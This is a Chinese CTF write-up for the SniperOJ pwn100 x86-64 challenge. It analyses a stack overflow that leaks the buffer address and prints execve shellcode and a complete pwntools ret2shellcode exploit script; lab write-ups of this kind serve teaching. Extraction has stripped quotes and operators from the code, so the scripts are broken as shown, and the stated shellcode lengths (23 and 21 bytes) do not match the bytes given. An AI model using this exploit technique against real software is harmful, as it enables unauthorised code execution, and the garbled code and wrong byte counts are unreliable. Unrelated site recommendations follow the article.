1. 项目概述sniperoj-pwn100-shellcode-x86-64是一道经典的PWN入门练习题主要考察64位环境下shellcode的构造与利用技巧。这道题目来自SniperOJ平台适合刚接触二进制安全的初学者理解栈溢出和shellcode的基本原理。在实际操作中我们需要通过分析程序保护机制、内存布局和漏洞点最终构造出能够获取shell的payload。这道题的特殊之处在于它明确给出了栈地址同时允许执行栈上的代码为ret2shellcode攻击创造了理想条件。2. 漏洞分析与环境准备2.1 程序保护机制检查使用checksec工具检查程序的安全保护机制checksec ./pwn100 [*] /tmp/pwn100 Arch: amd64-64-little RELRO: Partial RELRO Stack: No canary found NX: NX disabled PIE: PIE enabled RWX: Has RWX segments关键发现NX disabled栈内存可执行这是ret2shellcode攻击的前提No canary可以直接进行栈溢出攻击PIE enabled代码段地址随机化但题目给出了栈地址2.2 关键代码分析通过反汇编查看main函数关键逻辑int __cdecl main(int argc, const char **argv, const char **envp) { __int64 buf[2]; // [rsp0h] [rbp-10h] BYREF buf[0] 0LL; buf[1] 0LL; setvbuf(_bss_start, 0LL, 1, 0LL); puts(Welcome to Sniperoj!); printf(Do your kown what is it : [%p] ?\n, buf); puts(Now give me your answer : ); read(0, buf, 0x40uLL); return 0; }漏洞点分析程序直接打印了buf的栈地址关键信息泄露read函数读取0x40(64)字节到buf但buf实际大小只有16字节明显的栈溢出2.3 调试环境搭建推荐使用pwntools配合gdb进行动态调试from pwn import * context(oslinux, archamd64, log_leveldebug) p process(./pwn100) gdb.attach(p, b *main94 c )调试技巧在read函数调用前下断点观察栈布局计算返回地址与buf的偏移量验证shellcode的执行情况3. 攻击思路与payload构造3.1 栈布局分析通过调试可以获取以下关键信息buf位于[rbp-0x10]返回地址位于[rbp0x8]因此buf到返回地址的偏移量为0x10 0x8 24字节内存布局示意图----------------- | shellcode | 高地址 ----------------- | return addr | - 覆盖为shellcode地址 ----------------- | padding | 24字节填充 ----------------- | buf | 低地址 -----------------3.2 Shellcode选择与优化常规的shellcraft生成的shellcode过长约44字节而我们的可用空间有限可用空间计算read读取0x40字节buf本身占用0x10字节覆盖返回地址需要8字节剩余空间0x40 - 0x10 - 8 0x28(40)字节因此需要寻找或构造精简的shellcode。以下是经过验证的23字节execve(/bin/sh) shellcodeshellcode \x31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x54\x5f\x99\x52\x57\x54\x5e\xb0\x3b\x0f\x05这段shellcode的工作原理xor eax, eax (清零eax)mov rbx, 0xff978cd091969dd1neg rbx (得到/bin/sh字符串地址)push rbxmov rdi, rsp (rdi指向/bin/sh)cdq (rdx清零)push rdxpush rdimov rsi, rspmov al, 59 (execve系统调用号)syscall3.3 完整payload构造payload需要包含三部分24字节padding覆盖到返回地址返回地址指向shellcodeshellcode本身构造过程buf_addr int(p.recvuntil(],dropTrue),16) shellcode_addr buf_addr 32 # 24832 payload A*24 # padding payload p64(shellcode_addr) # 覆盖返回地址 payload shellcode # 实际执行的shellcode注意shellcode_addr的计算需要考虑payload在栈中的布局。这里选择buf_addr32是为了确保shellcode位于返回地址之后避免被覆盖。4. 完整利用脚本与调试技巧4.1 完整exploit代码from pwn import * context(oslinux, archamd64, log_leveldebug) def exploit(): p process(./pwn100) # 接收泄露的栈地址 p.recvuntil([) buf_addr p.recvuntil(], dropTrue) buf_addr int(buf_addr, 16) log.success(Leaked stack address: 0x%x % buf_addr) # 构造payload shellcode \x31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x54\x5f\x99\x52\x57\x54\x5e\xb0\x3b\x0f\x05 shellcode_addr buf_addr 32 payload A*24 payload p64(shellcode_addr) payload shellcode # 发送payload p.sendline(payload) p.interactive() if __name__ __main__: exploit()4.2 调试技巧与常见问题地址对齐问题确保shellcode地址正确指向shellcode起始位置使用gdb查看栈布局x/30gx $rspshellcode执行失败检查是否所有字符都能正确输入使用disasm查看shellcode是否被正确解释PIE的影响虽然开启了PIE但题目泄露了栈地址不影响利用如果遇到奇怪崩溃尝试调整shellcode地址偏移pwntools调试技巧context.terminal [tmux, splitw, -h] gdb.attach(p, b *main94 x/10gx $rsp c )5. 扩展知识与相关技术5.1 Shellcode编写技巧避免坏字符某些场景下\x00会被截断使用编码技术避免特殊字符更短的shellcode可以进一步优化到21字节shellcode \x6a\x3b\x58\x99\x52\x48\xbb\x2f\x2f\x62\x69\x6e\x2f\x73\x68\x53\x54\x5f\x52\x57\x54\x5e\x0f\x05通用shellcode构造使用pwntools的shellcraft模块shellcode asm(shellcraft.sh())5.2 相关题目推荐ret2shellcode基础pwnable.kr - asmCTFlearn - shellcode进阶挑战有NX保护的ret2shellcode需要自行映射可执行内存的题目比赛真题NewstarCTF 2023 week2 pwnBUUCTF - warmup5.3 防御措施虽然本题没有开启NX保护但在实际环境中开启NX/DEP防止栈执行使用栈保护金丝雀(canary)地址随机化(ASLR/PIE)安全的编码实践避免溢出6. 总结与个人心得这道sniperoj-pwn100-shellcode-x86-64题目虽然简单但涵盖了PWN入门的多个关键知识点栈溢出基本原理理解缓冲区溢出如何覆盖返回地址shellcode构造学习编写精简高效的机器码地址计算掌握栈布局分析和偏移计算调试技巧使用gdb验证攻击效果在实际操作中最容易出错的是shellcode地址的计算。我建议先在gdb中手动验证地址是否正确再编写完整exploit。另外不同版本的libc可能会导致shellcode行为差异遇到问题时可以尝试更换测试环境。对于想深入学习PWN的同学建议从这类基础题目入手逐步掌握栈溢出、ROP等核心技术。同时要养成查看保护机制的习惯这对后续学习更复杂的漏洞利用技术至关重要。
企业数字化 ERP 产品动态
相关推荐
车站售票管理系统数据库课设:事务并发防超卖与验收骨架 简介:车站售票管理系统数据库课程设计完整方案面向广东工业大学等高校本科生,适合正在准备数据库课设、需要参考选题落地方式的学习者。系统覆盖车票购买与退票、车次与时刻表查询统计,并延伸至数据备份恢复、操作员管理与权限设置等维护环节… · 2026/11/15 5:55:05
Oracle开放式基金交易平台数据库设计:七表约束与PL/SQL存储过程 简介:面向高校数据库课程设计、Oracle 初学者与实训答辩场景的一份项目实战文档,以开放式基金交易平台为案例,完整走通从业务需求到表结构落地的设计过程。内容先梳理后台基金管理、客户账户管理、交易审核,以及前台信息查询、委托… · 2026/11/10 7:28:48
中文字体font-family字体栈:跨平台写法与排查 做前端这些年,被问得最多的问题之一就是:“这页面在我电脑上明明挺好看的,怎么到别人那儿就散架了?”十次里有八次,根子在font-family这一行。中文字体 font-family 的常用列表网上一搜一大把,抄回来往 CSS… · 2026/11/11 8:48:32
商丘电工证报考条件千万别踩坑,怕考不过白交培训费 商丘电工证报考条件千万别踩坑,怕考不过白交培训费 怕考不过白交培训费?商丘电工证报考条件千万别踩坑,尤其是那些准备报考低压电工证、高压电工证的朋友们,一步走错,钱就白花了。今天咱们就来聊聊商丘电工证报考条件到底有哪些,哪些地方容易出问题,怎… · 2026/11/15 5:55:01
从特种兵到掏粪工,特种作业证到期换证流程全解析,全国通用怎么操作 从特种兵到掏粪工,特种作业证到期换证流程全解析,全国通用怎么操作 证书过期了不知道怎么复审延期,这事儿我真遇到过,不是我一个人,好多干工地的兄弟都遇到过。特种作业证要是到期不换,直接就等于“无证上岗”,后果严重,轻则被罚,重则影响项目进度甚… · 2026/11/15 5:55:01
绿通电工证培训地点报名费多少钱 绿通电工证培训地点报名费多少钱 证书过期了不知道怎么复审延期?别急,今天给你讲清楚绿通电工证培训地点报名费多少钱的问题,还有考试备考的干货,直接上干货,不绕弯子。 绿通电工证培训地点在哪里?费用多少?… · 2026/11/15 5:55:01
你在外省考的证能不能转过来?普通电工证图片大全通过率揭秘 你在外省考的证能不能转过来?普通电工证图片大全通过率揭秘 之前考的证在外省能不能转过来?这个事儿我懂,我是干了这么多年特种作业证培训的老手,见过太多人因为证书问题耽误事。今天咱们就从【普通电工证图片大全】说起,说说怎么转证、怎么报名、怎么考… · 2026/11/15 5:55:01
赤峰电工证哪家下证快保姆级教程:工地太忙根本没时间复习考试 赤峰电工证哪家下证快保姆级教程:工地太忙根本没时间复习考试 工地太忙根本没时间复习考试?你不是一个人。作为新乡应届工程类毕业生,我懂你现在的焦虑——手头项目压得喘不过气,可证书又不能落下。别急,这篇【赤峰电工证哪家下证快保姆级教程】就为你梳… · 2026/11/15 5:55:01
高压电工证怎么办挂失?证书过期了不知道怎么复审延期?良心建议来了! 高压电工证怎么办挂失?证书过期了不知道怎么复审延期?良心建议来了! 证书过期了不知道怎么复审延期,这是很多特种作业人员最头疼的问题,尤其是像高压电工证这种涉及高压电操作、安全责任重、技术性强的工种,一旦证书过期或遗失,不仅影响正常工作,还可… · 2026/11/15 5:54:01
长春初级电工证怎么考?通过率揭秘全在这里 长春初级电工证怎么考?通过率揭秘全在这里 之前考的证在外省能不能转过来?这几乎是每个想从事电工工作的人都会问的问题。特别是那些在外地打拼多年、手里握着一张“外地电工证”的人,到了长春想继续干这一行,第一反应就是“我的证能用吗?”。今天我们就… · 2026/11/15 0:00:50
国内电工证报考条件与考试时间 低压电工证怎么考?学历不高也能报名,官方报名入口全在这 你是不是经常听说“电工证是入行门槛”,但又担心自己学历不够、经验不足,根本报不了名?别急,今天就带你从零了解【国内电工证】的报考流程、考试内容,还有怎么在 官方报名入口… · 2026/11/15 0:00:50
电工作业时如何断电?电子证书到底能不能全国通用? 电工作业时如何断电?电子证书到底能不能全国通用? 实操考试心里没底怕挂科,特别是电工作业时如何断电这一操作,不仅关系到你能不能拿到证书,更关系到以后能不能顺利上岗。很多人觉得这不过就是“断个电”,但其实这里面的门道可不少,稍有不慎就可能出错… · 2026/11/15 0:00:50
长春初级电工证怎么考?通过率揭秘全在这里 长春初级电工证怎么考?通过率揭秘全在这里 之前考的证在外省能不能转过来?这几乎是每个想从事电工工作的人都会问的问题。特别是那些在外地打拼多年、手里握着一张“外地电工证”的人,到了长春想继续干这一行,第一反应就是“我的证能用吗?”。今天我们就… · 2026/11/15 0:00:50
国内电工证报考条件与考试时间 低压电工证怎么考?学历不高也能报名,官方报名入口全在这 你是不是经常听说“电工证是入行门槛”,但又担心自己学历不够、经验不足,根本报不了名?别急,今天就带你从零了解【国内电工证】的报考流程、考试内容,还有怎么在 官方报名入口… · 2026/11/15 0:00:50
电工作业时如何断电?电子证书到底能不能全国通用? 电工作业时如何断电?电子证书到底能不能全国通用? 实操考试心里没底怕挂科,特别是电工作业时如何断电这一操作,不仅关系到你能不能拿到证书,更关系到以后能不能顺利上岗。很多人觉得这不过就是“断个电”,但其实这里面的门道可不少,稍有不慎就可能出错… · 2026/11/15 0:00:50
双极步进电机控制实战:DRV8818PWPR与PIC18F86K22驱动调试 /* MD / 富文本中的 .toc(含博客园搬家等嵌套结构);.toc-box 在侧栏,不受影响 */#content_views .toc,/* 编辑器常在目录前后插入空 p(:empty 仍占 20px),一并去掉避免顶空隙 */#content_views.markdown_views > p:empty:has(+ .toc),#content_views.markdown_views … · 2026/11/15 1:51:20
STM32F207ZG + DRV8818PWPR 步进电机驱动实战解析 /* MD / 富文本中的 .toc(含博客园搬家等嵌套结构);.toc-box 在侧栏,不受影响 */#content_views .toc,/* 编辑器常在目录前后插入空 p(:empty 仍占 20px),一并去掉避免顶空隙 */#content_views.markdown_views > p:empty:has(+ .toc),#content_views.markdown_views … · 2026/11/15 4:02:19
DRV8818PWPR+dsPIC30F4013工业级双极步进电机控制方案 /* MD / 富文本中的 .toc(含博客园搬家等嵌套结构);.toc-box 在侧栏,不受影响 */#content_views .toc,/* 编辑器常在目录前后插入空 p(:empty 仍占 20px),一并去掉避免顶空隙 */#content_views.markdown_views > p:empty:has(+ .toc),#content_views.markdown_views … · 2026/11/15 3:02:05